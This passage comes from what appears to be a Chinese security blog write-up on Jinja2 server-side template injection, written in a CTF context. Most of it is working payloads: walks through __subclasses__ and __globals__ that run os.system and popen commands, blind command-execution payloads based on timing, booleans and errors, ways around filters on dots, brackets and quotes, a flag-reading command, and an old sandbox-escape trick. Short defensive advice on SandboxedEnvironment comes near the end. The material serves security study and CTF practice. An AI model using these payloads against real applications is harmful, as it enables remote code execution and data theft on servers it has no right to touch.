还不需要引号。
正如上文说的,jinja2 仅仅支持部分 Python 内置函数,例如 chr
就无法直接使用。
好在我们可以利用资料 2 的手段,获取那些被隐藏的函数,例如 chr
,我们可这样:1
2
3{{
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]
}}
如果你觉得每次调用都需要这样写,太麻烦了,payload 也冗余,那么结合 {% set ... %}
就可以这么玩:1
2
3{% set chr = ().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]%}
{{ chr(97)+chr(98) }}
那结合宏就可以这么玩:1
2
3
4
5{%- macro chr(i) -%}
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"](i)
{%- endmacro -%}
{{ chr(97)+chr(98) }}
当然啦,由于 jinja2 中有自己的一些内置变量等,所以会有一些资料 2 之外的姿势。例如利用 Undefined
实例可以直接拿到 __globals__
:
所以就可以有:
x.__init__.__globals__.__builtins__
x.__init__.__globals__.__builtins__.eval
x.__init__.__globals__.__builtins__.exec
x.__init__.__globals__.sys.modules.os
x.__init__.__globals__.__builtins__.__import__
通过查阅源码或者文档可知,默认命名空间自带这几种函数
或者用 self.__dict__._TemplateReference__context
也可以看到。
所以就有:
self.__init__.__globals__
lipsum.__globals__.os
cycler.__init__.__globals__.os
joiner.__init__.__globals__.os
namespace.__init__.__globals__.os
其实这些随便找个方法都可以搞到 __globals__
。那为啥其他的比如 range
就不可以呢?其实在资料 2 中也已经说过了。
按照资料 2 中的思路,如果过滤了 .
,我们很容易想到用 getattr
和 __getattribute__
:
{{ getattr(1, "__class__") }}
{{ 1.__getattribute__("__class__") }}
在 jinja2 中,由于 [key]
的特殊性(资料 3)
[key]
和 .
是基本上等价的,只是处理逻辑先后上有区别,.
是先按查找属性执行,再按照用键查字典的值去执行,[key]
则相反。并且还提到,如果想查找属性还可以用 attr
。
所以我们就可以这么玩:
{{ 1["__class__"] }}
{{ 1 | attr("__class__") }}
由于过滤器 map
也支持取属性,所以可以这样:
[ ]
分为两种情况:
__getitem__
、pop
等等)之外,如果是字典,那么利用 bypass 过滤 .
中的结论,可以用 .
来代替 [key]
:{{ {"a": 1}.a }}
[]
就好了。在中括号被过滤的情况下,则可以使用 slice
来替代。例如 "1"|slice(1)|list
与 [['1']]
是等价的。{{ }}
这种情况下寻找其他语法就行了。比如 {% %}
。
{% macro %}
就不提了。
{% print(...) %}
:1
{% print(''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami")) %}
还有 {% if %}
、{% set %}
、{% for %}
... 都是可以执行命令的,只是无回显。如果非要有回显,利用盲注的思想,可以走带外通道。怎么盲注?见资料 2,原理是一样的,这里就不啰嗦了。
比如时间盲注:1
2
3
4
5{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr a 1)')|list %}{% endif %}
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr b 1)')|list %}{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr m 1)')|list %}{% endif %}
# 延时 1s 说明第一个字符是 m
当然这种语法本身也可以盲注,比如布尔盲注:1
2
3
4{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a" %}yes{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m" %}yes{% endif %}
# 输出 yes 说明第一个字符是 m
甚至可以搞基于报错的盲注:1
2
3
4{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a")] %}{% endfor %}
...
{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m")] %}{% endfor %}
# 不报错说明第一个字符是 m
因为对于 jinja2 来说,索引过大是返回 Undefined,不会报错。当然啦,如果把上面的 [1]
换成 [[1]]
就变成了布尔盲注。
姿势主要有三种:
[]|string
等同于 []|format
。这种方式主要依赖于使用过滤器的目的,不太好列出统一的替换规则,所以我就不一一列举了。熟悉各种过滤器的作用是这种 bypass 的前提。[]
嵌套 + map()
来使用。例如 []|string
等同于 [[]]|map("str""ing")|list|last
。这种姿势相对来说通用,遗憾的是,无法带参数使用过滤器。self.__dict__._TemplateReference__context
中包含了内置的全局函数,可以直接用。除了用上面提到的常规姿势之外:
这个其实也在资料 2 中提及过。
例如 whoami
:
{{ dict(whoami=x)|join }}
{{ dict(who=x,ami=x)|join }}
{{ dict(whoami=x)|list|first }}
{{ dict(whoami=x)|items|list|first|first }}
艾玛,真香哎
如果遇到特殊字符,再用常规姿势就好了。
如果漏洞点无法支持 set
,那么挨个字符拼接的 payload 太长了,所以还需要寻找除了用 dict()
的新的优化方式。在 PEP 585(py3.9)中,我找到了新的姿势。
首先需要一个前置知识点:类型注解。如果你没用过 Python 类型注解,建议阅读资料 9
在 PEP 560(py3.7)中,官方新增了 __class_getitem__
方法,这个方法的功能是按照 key 参数指定的类型返回一个表示泛型类的特殊对象,这样可以支持运行时对泛型类进行参数化,让注解更容易使用:
在 PEP 585(py3.9)中(见资料 10)
进一步对类型注解做了升级,支持通过 __class_getitem__()
来参数化 typing 模块中所有标准的容器类型,这样我们可以将 list 或 dict 直接作为列表和字典的类型注释,而不必依赖 typing.List 或者 typing.Dict。因此,代码现在看起来更加简洁,而且更容易理解和解释。
Python 文档中反复提及“参数化泛型”这个词。PEP 585 也给出了定义:1
parameterized generic – a specific instance of a generic with the expected types for container elements provided. Also known as a parameterized type. For example: dict[str, int].
最后,Python 中有个,GenericAlias
对象充当泛型类型的代理,实现参数化泛型。对于容器类,提供给该类的参数可指示对象包含的元素的类型。
可支持参数化泛型的类可参考资料 11
到这里,我们就可以发现,打印 list[int]
的结果是 list[int]
,它其实是一个 GenericAlias
:
那自然,这样也是 ok 的:list["whoami"]
,加上 jinja2 的 .
的特殊性,我们就用了一种船新的玩法。比如可以这样执行 whoami,不带有引号:1
dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system((dict.whoami|string)[6:-2]|join)
不过由于语法的限制,这样是无法加上空格以及特殊字符(/
、.
、( )
等)的,所以没法直接带参数或者带一些特殊的字符执行。
所以为了实用一些,例如 cat th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g
,还是得用到其他获取字符的手段,比如 chr
:1
2
3
4
5
6
7
8
9dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join(
dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(32)
)
)
长度为 243。
或者是扣字符拼接:1
2
3
4
5
6dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join((dict|string)[6]))
这个长度为 181。
利用相同的逻辑,我们可以找出其他 bypass 的姿势,其实都是利用了 __class_getitem__
,再想办法把结果变成 str 类型:
(dict.whoami|string)[6:-2]|join
(dict.whoami|title...
(dict.whoami|trim...
(dict.whoami|lower...
(dict.whoami|center...
(dict.whoami|format...
(dict.whoami|capitalize...
(dict.whoami|indent)[6:-2]|join
下面这些会用到引号,所以可能并不实用:
(dict.whoami|string).split("'").pop(-2)
(dict.whoami|replace("", "").pop(-2)
("00"|join(dict.whoami)).split("'").pop(-2)
(dict.whoami|urlize).split("'").pop(-2)
(dict.whoami|urlencode).split("%27").pop(-2)
上面这么多都是类似的逻辑。如果出现过滤器禁用的情况,可以互相做替换。
组合之前的一些技巧,还可以这样:
[ ]
被过滤:(dict.whoamiiii|string|slice(3)|list).pop(1)|join
(或者挨个 pop 完之后拼接起来,就是会比较长)[ ]
被过滤:(dict.whoamiiii|string|slice(True+True+True)|list).pop(True)|join
下面这些可能都不实用,但是作为技巧看一下还是挺有启发的:1
2
3
4
5
6
7
8# . 被过滤
([dict]|map(attribute='whoami')|list|string)[7:-3]
# 特定的过滤器被禁用
(([dict.whoamiiii|string]|list|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join
# [] 被过滤 + 特定的过滤器被禁用
(((""|slice(1,fill_with=(dict.whoamiiii|string))|list).pop()|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join
自然,这个技巧只有 > py3.9 才可以使用。
从上面可以看出,这个姿势要实用,很依赖 .
,如果这个被干掉了那就要换其他的姿势了。
jinja2 最常见的搭档就是 flask 了。由于 flask 会引入新的变量,所以也会引入新的姿势。这一部分正如本文开头所述,jinja2 的 SSTI 与 Flask 关联紧密,这一部分我放在了 《SecMap - Flask》 中。
实际上,jinja2 有自带的,独立于 Python 的沙盒环境。默认沙盒环境在解析模板时会检查所操作的属性,这种检查是运行时的检查,绕过是比较困难的。也就是说即使模板内容被用户所控制,也是无法绕过沙盒执行代码或者获取敏感信息的。
但在历史上,jinja2 < v2.8.1 由于没有考虑到 format 可触发字符串格式化漏洞,导致沙盒可以被绕过:1
2
3
4from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
print(env.from_string("""{{ '{0.__class__.__base__}'.format([]) }}""").render())
上面所述的思路,都是局限在 Template
中的,因为我们要思考攻击场景,没有攻击场景的 payload 用处是很有限的。
但是,如果我们在写一些自动化的脚本,用来扫描或者是搜索变量,难免也会用到一些内置函数(例如 dir
),通过上面这些思路利用 SSTI 去获取内置函数当然是可以的,但其实 render
本身是可以指定参数传递给模板使用的,所以不限于攻击,可以这样:1
Template("{{ dir(self) }}").render(dir=dir)
另外再说一嘴,render
返回的固定是字符串,如果我们想获取变量示例,如果是个字符串或者列表之类的基本类型,那倒简单,直接 eval
下就好。如果是简单一些示例,可以考虑用 pickle 来玩。但是如果是一些非常规的实例,应该怎么拿到呢?例如 self
这个内置变量:1
2
3In [20]: Template1("{{ pickle.dumps(self) }}").render(pickle=pickle)
...
TypeError: cannot pickle 'module' object
这个时候我们其实可以通过 __main__
来存储模板里的变量,这个办法应该是最完美的了:1
2
3
4
5
6
7In [25]: Template(
...: "{{ setattr(__import__('__main__'), 'result', self) }}"
...: ).render(setattr=setattr, __import__=__import__)
Out[25]: 'None'
In [26]: result
Out[26]: <TemplateReference None>
防御这种漏洞肯定不能用关键字过滤,Python 实在是太灵活了。
如果可以的话,还是不要让模板对用户可控了。
如果一定要有这种需求,还是得用 SandboxedEnvironment
:
1 |
|
对于未注册的属性访问都会抛出错误:SecurityError: access to attribute xxx of xxx object is unsafe.
,下面这些都是凉凉的:
[].__class__.__base__
[]["__class__"]["__base__"]
[]["__class__"]["__base__"]
dict.mro()
self.__dict__._TemplateReference__context
但是通过一些变量来拿敏感信息,还是有搞头的,例如 flask config 信息泄露。
OrangeKiller CTF 第 1 期题解
jinjia2 se
1 |
|
jinjia2 plus
1 |
|
jinjia2 pro
1 |
|
jinjia2 pro max
1 |
|
这个 payload 应该还有优化的空间,留给橘友们研究吧~
当然,上面这几题用 1}} {{ payload }} {{1` 这样来闭合外层的 `{{ }}
,再用 {% set %}
之类的也是 ok 的。
SSTI 这个系列的知识点真是越整理越多
罢了,拖更就好了
开摆!